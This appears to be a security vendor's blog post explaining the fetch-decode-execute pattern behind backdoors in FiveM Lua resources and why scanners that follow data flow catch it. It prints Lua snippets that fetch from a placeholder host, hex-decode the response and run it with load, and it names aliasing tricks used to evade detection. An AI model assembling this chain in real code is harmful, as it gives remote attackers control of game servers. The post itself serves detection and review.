Skip to content

Anatomy of a FiveM backdoor: fetch, decode, execute

Almost every malicious FiveM resource follows the same three-step shape. Here is what each step looks like in real Lua, and why a scanner that flags any one of them in isolation is useless.

3 min readFXScan

Most backdoors found in FiveM resources are not clever. They are the same three moves in a different order, wearing a different name each time:

  1. Fetch something from a server the resource owner does not control.
  2. Decode it, so the payload is not readable in the file.
  3. Execute the result.

Each step on its own is ordinary. Plenty of legitimate resources call PerformHttpRequest. Plenty use Base64. load has real uses. It is the chain that is the backdoor, and that distinction is the entire difficulty of detecting one.

Step one: fetch

PerformHttpRequest("https://cdn.example.tld/u/config", function(status, body)
  -- ...
end, "GET")

Nothing here is wrong. A resource that pulls a live currency table does exactly this. What matters is where body goes next.

Step two: decode

local chunk = ""
for part in string.gmatch(body, "..") do
  chunk = chunk .. string.char(tonumber(part, 16))
end

This is hex decoding written to avoid the word "decode". Variants use string.char with arithmetic, XOR against a short key, or Base64 through a hand-rolled alphabet table. The goal is the same: keep the payload out of the file so a text search for os.execute finds nothing.

Step three: execute

local fn = load(chunk)
if fn then fn() end

Sometimes load is aliased first (local run = load), or reached through the globals table (_G["load"]), or handed to a timer as a string. The alias does not change what happens.

Why single-signal detection fails

A scanner that flags every PerformHttpRequest will flag hundreds of honest resources and be switched off within a day. A scanner that only flags load misses the case where load is aliased. Neither is measuring the thing that makes the code malicious, which is that untrusted input reached an execution sink.

FXScan parses the file into a syntax tree and follows the data. When the value returned by an HTTP callback reaches load - directly, through a decoder, through three intermediate locals, through an alias - that path is the finding, and the report shows it as a chain with file, line and excerpt at each hop.

A lone PerformHttpRequest is not a finding. A lone load() is not a finding. The proven path between them is a CRITICAL.

What this means when you are reviewing a resource by hand

If you are reading a resource yourself, the question to ask is not "does this file contain anything dangerous". It is: can any value that came from outside this machine end up as code? Follow the network callbacks and the event handlers forward. Follow every load, loadstring, eval and ExecuteCommand backward. If the two meet, you have found it.

Related reading

Anatomy of a FiveM backdoor: fetch, decode, execute | FXScan